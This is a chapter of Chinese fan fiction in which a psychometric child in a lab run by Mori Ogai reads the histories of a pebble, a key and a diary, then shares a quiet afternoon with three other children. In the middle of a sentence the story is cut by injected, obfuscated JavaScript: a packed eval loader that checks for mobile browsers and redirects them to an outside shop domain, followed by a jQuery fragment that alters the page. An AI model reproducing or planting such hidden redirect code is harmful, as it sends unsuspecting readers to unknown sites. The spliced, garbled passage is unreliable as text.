活动室的生活持续了大约两周。
每天早上七点，夜被准时唤醒，吃过早饭后被带到活动室和其他三个孩子一起"学习"。说是学习，其实更像一种散养式的生活——绘本、积木、画纸、拼图、简单的算术题卡散落在房间各处，孩子们可以自行选择做什么。每隔两三个小时，会有研究员进来带某个孩子去单独训练，其他人继续留在这里。
夜发现了一种规律：健和绘里的训练时间最长，每次都超过两个小时；悠真最短，往往四十分钟就回来了；而他自己，第一周每天只被叫走一次，第二周开始变成两次，最近三天已经变成三次了。
"森先生很看重你，"有一天吃午饭时，悠真漫不经心地说，"他以前从不让人一天测三次。绘里最多也就一天两次。"
绘里咬着筷子点头："而且我第二次是去测体能，不是测异能。你每天三次都是异能测试对吧？"
夜没有否认。他已经习惯了在午餐时间被三个孩子轮番"审问"，习惯了绘里时不时戳他的脸看他有没有表情变化，习惯了健把最好吃的肉块夹到他碗里，习惯了悠真用那种懒洋洋的腔调说"你又在发呆读信息了吧"。
这种感觉很奇怪——明明他知道这三个孩子和他一样都是森鸥外的"收藏品"，明明他知道他们各有各的秘密和阴暗面，但在餐桌旁围坐吃咖喱的时候，那种温热的感觉是真实的。
"你今天下午怎么安排的？"健一边扒饭一边问。
"两点去E实验室。"夜说。E实验室是专门测试异能与物质交互的场所，墙壁最厚，屏蔽效果最强。
"E实验室啊——"悠真拖长了尾音，"上周我去过一次，里面有个大铁球，让我试试能不能屏蔽它的金属疲劳信号。结果我差点晕过去。"
"为什么？"夜问。
"因为金属也有'记忆'。"悠真难得正经起来，"你能读人的记忆对吧？金属也有类似的东西，只不过它们的'记忆'是物理的——应力、形变、内部微裂——我试着屏蔽那些信号的时候，等于同时读取它们。一大坨铁几十年的'记忆'全涌进来，脑壳差点炸了。"
夜沉默着喝了一口汤。他能理解那种感受。第一次失控的时候，废弃医院里几十年积累的"信息"全部涌入，那种感觉就像脑子里灌满了水泥，然后水泥开始凝固。
"悠真那天吐了一下午，"绘里补充道，"我给他画了一幅长颈鹿他才好起来。"
"才不是因为你的画——"悠真别过脸去，耳朵有点红。
健小声对夜说："就是因为那幅画。他偷偷裱起来了。"
"中岛健你闭嘴——！"
夜看着他们闹成一团，感到嘴角似乎微微翘了一下。很轻微的、几乎不存在的弧度。但确实翘了。
下午两点，他准时到达E实验室。
森鸥外今天不在。替班的是一个戴银框眼镜的中年研究员，据说在异能研究领域很有名。夜坐在椅子上，面前的铁桌上放着三样物品：一块鹅卵石、一把旧铜钥匙、一本烧掉一半的日记本。
"今天测试信息的深度解析能力，"研究员推了推眼镜，"你不需要同时读取三样。每次一样，给我们尽量详细的描述。开始吧。"
夜把手伸向鹅卵石。指尖触到石头表面的一瞬——
冰凉。光滑。八年前在横滨郊外的河滩上被一个男孩捡起，男孩右膝盖有伤疤，那天他钓到了一条鲫鱼，很高兴。后来男孩搬家了，石头被丢在旧屋的窗台上，风吹日晒了四年，直到某天被一个收废品的老妇人捡走。她以为这是块普通的石头，把它和其他杂物一起卖给了收购站。收购站的人又把它混进了建筑碎石里，当成填路基的材料运到了这里。然后被研究员挑了出来，洗干净，放到了这张桌上。
夜收回手，把这些信息简略地复述了一遍。研究员飞快地记着笔记，表情从专注变成了惊讶。
"你能读到这么具体的细节？"研究员抬头看他，"连那个男孩膝盖有伤疤都知道？"
"皮肤接触越充分，信息越清楚。"夜说，"手指腹的触觉神经最密集，比手掌效果好。如果是舌头——"
"好了不用说了。"研究员干咳一声，"下一项，铜钥匙。"
夜拿起钥匙。这把钥匙的"信息"更复杂——它属于一间老式公寓的储藏室，那个储藏室里有三箱被刻意藏起来的文件，文件的内容涉及某个在横滨地下流通的秘密资金流向。持有钥匙的人是一个在港口□□底层工作的会计，他已经三个月没来上班了，因为——
夜的手指微微收紧。
"因为什么？"研究员问。
"他已经死了。"夜说，声音平静得不像一个五岁孩子，"三个月前。死在鹤见区一条巷子里。钥匙掉在排水沟里，两周后被一个流浪汉捡走，卖给了废品回收站，然后被混在旧金属里送到了这里。"
E实验室里的空气安静了几秒。研究员推眼镜的动作停在了半途中。
"你……怎么知道这些的？"研究员的声音有些发紧。
夜看向他，异能在这个瞬间捕获了研究员表层的一个清晰念头——他在害怕。他害怕这个孩子嘴里说出的每一个字，因为每一句都在印证一个他不敢往下想的推测。
"钥匙记得。"夜说，"它记得被谁带在口袋里，记得那晚那个人身体倒下去时的震动，记得铁锈和血混在一起的味道。信息留在上面了，我只是去读取而已。"
研究员沉默了很久，然后默默地把那本烧掉一半的日记推到了夜面前。
"……这个不用读完了，"他说，"你告诉我第一页的第一段写了什么就行。我们验证一下精确度。"
夜翻开日记本。封面烧掉了，内页也大半焦黑，只有第一页左上角还残存着几行字。异能进入纸页，残存的墨迹在他脑中重新组合排列成完好的句子。
"……'今天又听到地下室有声音。他们说那是管道老化，但管道不会哭。我知道那是什么——那是和我一样被关在这里的人。我必须想办法逃出去。如果逃不出去，至少把这一切记下来。有一天会有人看到。'"夜合上日记本。
研究员摘下眼镜，用拇指和食指捏了捏鼻梁。"……足够精确了。测试结束。"
夜把日记本放回桌上，坐在椅子上等研究员发话。他能感知到研究员此刻情绪复杂——专业上的兴奋、道德上的不安、以及一种说不清道不明的、像是见证什么不该存在的东西时的本能排斥。
"你可以回去了。"研究员说。语气有些急促。
夜站起来，走向门口。在推开门的瞬间，他停了一步，侧过头。
"那个人后来逃出去了。"他说。
研究员抬起头。
"日记本的主人。"夜说，"他逃出去了。最后的'记忆'很明亮——有人在巷子口等他，天在下雨，但他说那是他这辈子见过的最好的天气。所以——"他想了想，"——不用替他难过。"
他推开门走了出去。走廊的灯光是冷白色的，空气中飘着消毒水和复印纸混合的气味。夜走在空无一人的走廊里，脚步声在瓷砖地面上轻轻回响。他刚才说的那句话是真的——他确实在日记本的最后一页读到了"逃出去了"的信息。但他没有说的是，那个"逃出去"之后的生活，其实也没能持续太久。日记本的主人后来还是被找到了，死在了另一个雨天里。
只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712412|208459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是他觉得，没有必要把所有人都知道的事情说出来。
不重要的信息，就让它留在墙外好了。
夜回到活动室时，绘里正在地毯上打盹，健一个人在角落里组装一个看起来极其复杂的木质模型，悠真坐在窗台上看书。午后的阳光斜斜地照进来，在地毯上切出一块明亮的三角形区域。
"回来了？"悠真抬了抬眼皮。
"嗯。"
"今天测试什么了？"
夜坐到地毯上，拿起一块拼图翻看着。"石头，钥匙，日记本。"
悠真翻了一页书，状似不经意地问："有什么有意思的吗？"
夜沉默了几秒。他在想一个问题——这三个孩子对森鸥外来说，究竟意味着什么？健的"分解"能力可以用于破坏和拆除，绘里的"塑造"可以伪造文件和艺术品，悠真的"屏蔽"可以制造信息盲区——加上他自己的"观测"，四个人组合起来，几乎构成了一套完整的情报攻防体系。
我们都是齿轮。夜想。被装在同一个钟表里，各自咬合着各自的齿。
"有一点有意思的，"夜说，"我们四个人的能力放在一起，好像正好拼成一个圆。"
悠真翻书的手停了一下。然后他放下书，看着窗外，声音比平时轻了一些。
"……你也感觉到了。"
健从模型堆里抬起头。绘里翻了个身，睡眼惺忪地嘟囔了一句什么。
沉默在活动室里蔓延开来，不再是那种友善的、热闹的沉默，而是一种更深的、每个人心里都有数但没人先开口的沉默。
然后悠真笑了一下，把书重新打开。"没关系。齿轮也好，棋子也好——在没被用坏之前，我们还能自己转一会儿。"
夜看着悠真被阳光镀了一层金边的侧影，异能"感知"到的那层屏蔽膜似乎比往常薄了一些。在屏蔽层的底下，他读到了一丝真实的情绪。
悠真在害怕。不是怕森鸥外。是怕有一天，他们四个人不再能一起吃饭、一起闹、一起说那些不着边际的话。
夜把手里的拼图放回原处，然后站起来，走到健身边蹲下，帮他扶住模型里一个快要掉落的支架。
"你左边第三个节点没卡紧，"夜说。
健低头看了看，果然如此。"……你的眼睛真是透视图。"
"习惯了。"
绘里揉着眼睛坐起来，迷迷糊糊地问："晚饭吃什么？"
悠真从窗台上跳下来。"今天轮到咖喱——你说过三十遍了。"
"咖喱怎么了！咖喱最好吃了！"
活动室里重新热闹起来。夜蹲在健旁边，手扶着那个精细的木质模型，感到阳光下浮尘在空气中缓慢舞动。他的异能仍在工作——他感知到走廊尽头有研究员在快步走过，感知到楼下某层有人在打电话，感知到窗外横滨的天际线在夕阳中染成金红色。
但他把所有这些信息都推到了墙外。
墙内只剩这间活动室，三个孩子，和一阵从厨房飘来的咖喱香气。
他在港口□□的第二个月，正在缓慢地、平静地、被温暖包裹着地过去。而他开始在这个白色的建筑里，找到一种新的、属于"活着"的感觉。
不是废弃医院里那种苟延残喘的活着。而是一种真的、有人在旁边呼吸的、有温度的活着。
他低头看着自己扶着模型的那只手。手指干净了不少，冻疮正在愈合，指甲缝里不再有灰尘。
他想起一句话——"活着"的感觉，有时候是从另一个人递给你一块积木开始的。他默默记下了这个念头，把它收进脑子里某个不会被信息过载冲走的位置。
总有一天，他会需要这些记忆。